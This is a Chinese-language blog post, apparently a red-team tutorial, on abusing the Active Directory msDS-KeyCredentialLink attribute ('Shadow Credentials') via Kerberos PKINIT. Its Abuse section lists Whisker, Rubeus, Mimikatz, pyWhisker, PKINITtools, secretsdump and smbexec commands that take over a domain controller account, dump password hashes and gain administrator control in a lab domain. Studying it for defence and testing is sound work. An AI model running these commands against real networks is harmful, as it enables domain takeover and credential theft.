在 Black Hat Europe 2019大會期間
https://www.dsinternals.com/wp-content/uploads/eu-19-Grafnetter-Exploiting-Windows-Hello-for-Business.pdf
Michael Grafnetter
@MGrafnetter
https://twitter.com/MGrafnetter
討論了針對 Windows Hello for Business 技術的多種攻擊方法,其中包括域持久化技術。該技術涉及修改目標計算機賬戶或用戶帳戶的msDS-KeyCredentialLink屬性,以獲得用於檢索 NTLM 哈希值和請求 TGT 票據。即使目標帳戶的密碼被修改後,該屬性也不會受到影響,因此,攻擊者可以使用該技術完美的實現域持久性。
# TL;DR
Will Schroeder(@harmj0y)[https://twitter.com/harmj0y]和 Lee Christensen(@tifkin_)[https://twitter.com/tifkin_]在 2021 年發表了關於 AD CS 攻擊的白皮書[https://www.specterops.io/assets/resources/Certified_Pre-Owned.pdf],文章中介紹了 Kerberos 使用公鑰加密進行初始身份驗證(PKINIT)的其他技術,這使得 Elad Shamir(@elad_shamir)[https://twitter.com/elad_shamir]重新發現了一種用於客戶端對象接管的替代技術。
在此之前,Michael Grafnetter 已經發現了這種濫用技術,並在Black Hat Europe 2019[https://www.dsinternals.com/wp-content/uploads/eu-19-Grafnetter-Exploiting-Windows-Hello-for-Business.pdf]上展示了它。Michael 在他的演講中清楚地展示了這種濫用行為,並解釋了關於 WHfB 和 Key Trust 模型的一些內部工作原理。
Michael 還一直在維護一個名為DSInternals[https://github.com/MichaelGrafnetter/DSInternals]的庫,它在現實中支持了這種機制的濫用。Elad Shamir 將 Michael 的一些代碼移植到了一個名為Whisker[https://github.com/eladshamir/Whisker]的新 C# 工具中,以便通過操作植入來使用。
# What is PKINIT?
PKINIT 是 Kerberos 協議的擴展協議,允許在身份驗證階段使用數字證書。這種技術可以用智能卡或 USB 類型的身份驗證代替基於密碼的身份驗證。PKINIT 協議允許在 Kerberos 協議的初始(預)身份驗證交換中使用公鑰加密,通過使用公鑰加密來保護初始身份驗證,Kerberos 協議得到了顯着增強,並且可以與現有的公鑰身份驗證機制(例如智能卡)一起使用。
在傳統的 Kerberos 身份驗證中,客戶端必須在 KDC 為其提 TGT 票據之前執行 「預身份驗證」,該票證隨後可用於獲取服務票證。客戶端使用其憑據加密時間戳來執行預身份驗證,以向 KDC 證明他們擁有該帳戶的憑據。使用時間戳而不是靜態值有助於防止重放攻擊。
對稱密鑰方法是使用最廣泛和已知的一種方法,它使用從客戶端密碼派生的對稱密鑰(AKA 密鑰)。如果使用 RC4 加密,此密鑰將是客戶端密碼的哈希值。KDC 擁有客戶端密鑰的副本,並且可以解密預身份驗證的數據以對客戶端進行認證。KDC 使用相同的密鑰來加密與 TGT 一起發送給客戶端的會話密鑰。

PKINIT 是不太常見的非對稱密鑰方法。客戶端有一個公/私密鑰對,並用他們的私鑰對預驗證數據進行加密,KDC 用客戶端的公鑰對其進行解密。KDC 還有一個公/私密鑰對,允許使用以下兩種方法之一交換會話密鑰:
1.Diffie-Hellman Key Delivery該方法允許 KDC 和客戶端安全地建立共享會話密鑰,即使攻擊者擁有客戶端或 KDC 的私鑰。會話密鑰將存儲在 TGT 的加密部分,它是用 Krbtgt 帳戶的密鑰(哈希)加密的。
2.Public Key Encryption Key Delivery該方法使用 KDC 的私鑰和客戶端的公鑰來封裝由 KDC 生成的會話密鑰。
傳統上,公鑰基礎設施(PKI)允許 KDC 和客戶端使用由雙方先前已與證書頒發機構(CA)建立信任的實體簽署的數字證書以交換他們的公鑰。這是證書信任(Certificate Trust)模型,最常用於智能卡身份驗證。

# No PKI? No Problem!
Microsoft 還引入了密鑰信任(Key Trust)的概念,以在不支持 Certificate Trust 的環境中支持無密碼身份驗證。在 Key Trust 模型下,PKINIT 身份驗證是基於原始密鑰數據而不是證書建立的。
客戶端的公鑰存儲在一個名為msDS-KeyCredentialLink的多值屬性中,該屬性在 Windows Server 2016 中引入。該屬性的值是 Key Credentials,它是包含創建日期、所有者可分辨名稱等信息的序列化對象,一個代表設備 ID 的 GUID,當然還有公鑰。

這種信任模型消除了使用無密碼身份驗證必須為每個人頒發客戶端證書的需要。但是,域控制器仍需要用於會話密鑰交換的證書。
這意味着如果我們可以寫入用戶的msDS-KeyCredentialLink屬性,那麼就可以獲得該用戶的 TGT。
# Windows Hello for Business Provisioning and Authentication
Microsoft 推出了 Windows Hello 企業版(WHfB),用基於密鑰的信任模型取代了傳統的基於密碼的身份驗證。當用戶註冊時,TPM 會為用戶的帳戶生成一個公/私鑰對。接下來,如果在組織中實施了 Certificate Trust 模型,則客戶端發出證書註冊請求,以從證書頒發機構為 TPM 生成的密鑰對獲取受信任的證書。但是,如果實施 Key Trust 模型,則公鑰將存儲在帳戶的msDS-KeyCredentialLink屬性的新Key Credential對象中。私鑰受 PIN 碼保護,Windows Hello 允許將其替換為生物特徵的身份驗證因素,例如指紋或面部識別。
當客戶端登錄時,Windows 會嘗試使用其私鑰執行 PKINIT 身份驗證。在 Key Trust 模型下,域控制器可以使用存儲在客戶端msDS-KeyCredentialLink屬性中的原始公鑰解密其預身份驗證數據。在 Certificate Trust 模型下,域控制器將驗證客戶端證書的信任鏈,然後使用其中的公鑰。一旦預認證成功,域控制器可以通過 Diffie-Hellman Key Delivery 或 Public Key Encryption Key Delivery 交換會話密鑰。
# Abuse
在濫用 Key Trust 時,我們實際上是在向目標帳戶添加替代憑據,或 「影子憑據」,從而允許獲取 TGT 並用於後續操作。即使用戶/計算機更改了密碼,這些影子憑據也會保留。
Elad Shamir 發布了一個名為Whisker[https://github.com/eladshamir/Whisker]的工具,可以幫助測試人員利用這種技術。該工具將生成證書和 Key Credential,並將 Key Credential 信息存儲在msDS-KeyCredentialLink屬性中。生成的證書可以與 Rubeus 一起使用,以請求 TGT 票據並進一步擴大攻擊。
該技術需要以下要求:
•一個系統版本至少為 Windows Server 2016 的域控制器。
•安裝在域控制器上的服務器身份驗證數字證書。
•擁有寫入目標對象msDS-KeyCredentialLink屬性的權限的帳戶。
以下賬戶擁有msDS-KeyCredentialLink屬性的寫入權限:
•域管理員賬戶
•Key Admins 組中的賬戶
•Enterprise Key Admins 組中的賬戶
•對 Active Directory 中的對象具有 GenericAll 或 GenericWrite 權限的帳戶
(1)執行以下命令,通過 Whisker 的add命令向域控制器的msDS-KeyCredentialLink屬性添加 Shadow Credentials
Whisker.exeadd/target:DC01$/domain:pentest.com/dc:DC01.pentest.com
通過list命令可以列出目標對象的msDS-KeyCredentialLink屬性的所有條目,如下圖所示。
Whisker.exelist/target:DC01$/domain:pentest.com/dc:DC01.pentest.com
(2)Whiskeradd命令的輸出中提供了 Rubeus 命令,使用該命令可以使用基於證書的身份驗證請求 TGT 票據。這裡我們在 Whisker 提供的 Rubeus 命令後面加上了/ptt,以將請求到的 TGT 傳遞到內存中。
Rubeus.exeasktgt/user:DC01$/certificate:<Base64Certificate>/password:"AYOjT1jNMyrxNAss"/domain:pentest.com/dc:DC01.pentest.com/getcredentials/show/ptt
執行klist命令可以看到,當前機器中已經緩存了域控制器的 TGT 票據,如下圖所示。

由於域控制器賬戶擁有所需特權,我們可以通過 Mimikatz 執行 DCSync 來導出域用戶哈希,如下圖所示。
mimikatz.exe"lsadump::dcsync/domain:pentest.com/user:PENTEST\Administrator"exit
此外,我們可以通過 Kerberos 的 S4U2Self 擴展協議,使用已獲取的域控 TGT 為域管理員用戶申請針對域控上其他服務的的 ST 票據。這裡我們請求的是域控制器的 CIFS 服務,相關命令如下:
Rubeus.exes4u/self/impersonateuser:Administrator/altservice:CIFS/DC01.pentest.com/dc:DC01.pentest.com/ptt/ticket:<Base64EncodedTicket>
執行klist命令可以看到,當前機器中已經緩存了域管理員的 TGT 票據,該票據可以用來訪問域控制器的 CIFS 服務,如下圖所示。

此時,我們可以使用標準用戶帳戶遠程訪問域控制器的共享資源,如下圖所示:

如果想要刪除添加到目標對象msDS-KeyCredentialLink屬性的密鑰憑據,可以執行以下命令。
Whisker.exeremove/target:DC01$/deviceid:<DeviceID># pyWhisker
如果擁有所需權限的帳戶的憑據已知,則該技術也可以從未加入域的系統執行。Charlie Bromberg(@_nwodtuhs)[https://twitter.com/_nwodtuhs]通過 Python 實現了 Whisker ,共發布了名為pyWhisker[https://github.com/ShutdownRepo/pywhisker]的工具,以實現在未連接到域網絡的主機上操作。
(1)執行以下命令,對域控制器賬戶執行攻擊,生成的證書將以 .pfx 格式保存在本地,如下圖所示。
python3pywhisker.py-d"pentest.com"-u"Marcus"-p"Marcus@123"--target"DC01$"--action"add"--filenamedc01
(2)pyWhisker 得到的證書可以與 Dirk-jan Mollema(@dirkjanm)[https://twitter.com/_dirkjan]的PKINITtools[https://github.com/dirkjanm/PKINITtools]一起使用,以通過 KDC 進行身份驗證,並請求以 .ccache 格式保存的 TGT 票據,如下圖所示。
python3gettgtpkinit.py-cert-pfxdc01.pfx-pfx-passsR68YYFbN6WQIkdBxrolpentest.com/dc01\$dc01.ccache
(3)由於域控制器賬戶擁有所需特權,我們可以設置環境變量KRB5CCNAME,通過Impacket[https://github.com/SecureAuthCorp/impacket]套件中的 secretsdump.py 使用該票據,並執行 DCSync 來導出域用戶哈希,如下圖所示。
exportKRB5CCNAME=/root/PKINITtools/dc01.ccachepython3secretsdump.py-kpentest.com/dc01\$@dc01.pentest.com-no-pass-just-dc
(4)此外,我們可以通過 Kerberos 的 S4U2Self 擴展協議,使用已獲取的域控 TGT 為域管理員用戶申請針對域控上其他服務的的 ST 票據。這裡我們請求的是域控制器的 CIFS 服務,相關命令如下:
python3gets4uticket.pykerberos+ccache://pentest.com\\dc01\$:dc01.ccache@dc01.pentest.comcifs/dc01.pentest.com@pentest.comAdministrator@pentest.comAdministrator.ccache-v
(5)最後,我們通過設置環境變量KRB5CCNAME來使用 Administrator 用戶的票據,並通過 smbexec.py 獲取域控制器的最高權限,相關命令如下。
exportKRB5CCNAME=/root/PKINITtools/Administrator.ccachepython3smbexec.py-kpentest.com/Administrator@dc01.pentest.com-no-pass# What About NTLM?
PKINIT 允許 WHfB 用戶或更傳統的智能卡用戶執行 Kerberos 身份驗證並獲得 TGT。但是,如果他們訪問需要 NTLM 身份驗證的資源該怎麼辦呢?為了解決這個問題,Microsoft 在 MS-PKCA(Microsoft 的 Kerberos PKINIT 技術規範)的 「1.4 Relationship to Other Protocols」 部分中指出:
「In order to support NTLM authentication [MS-NLMP] for applications connecting to network services that do not support Kerberos authentication, when PKCA is used, the KDC returns the user’s NTLM one-way function (OWF) in the privilege attribute certificate (PAC) PAC_CREDENTIAL_INFO buffer」
也就是說,當進行進行 Kerberos PKINIT 身份驗證的時候,返回的票據的 PAC 裡面包含用戶的 NTLM 憑據。獲取這個 NTLM 憑據涉及解密 PAC_CREDENTIAL_DATA 結構,Benjamin Delpy 早在 2016 年就已經在 Kekeo 和 Mimikatz 中實現了這一點。相關細節請參考我之前的博客《Attack Surface Mining For AD CS》[https://whoamianony.top/attack-surface-mining-for-ad-cs/]中的 「0.4.5 NTLM Credential Theft via PKINIT – THEFT5」 部分。
# Ending......
參考文獻:
https://posts.specterops.io/shadow-credentials-abusing-key-trust-account-mapping-for-takeover-8ee1a53566ab
https://pentestlab.blog/2022/02/07/shadow-credentials/
推薦閱讀:
乾貨 | 紅隊和漏洞挖掘中那些關於」文檔「的妙用(上)
乾貨 | 紅隊和漏洞挖掘中那些關於"文檔"的妙用(下)
乾貨 | Office文檔釣魚的實戰和免殺技巧
乾貨 | Office文檔釣魚之如何快速進行宏免殺
實戰 | WAF-Bypass之SQL注入繞過思路總結
點讚,轉發,在看
原創投稿作者:L@2uR1te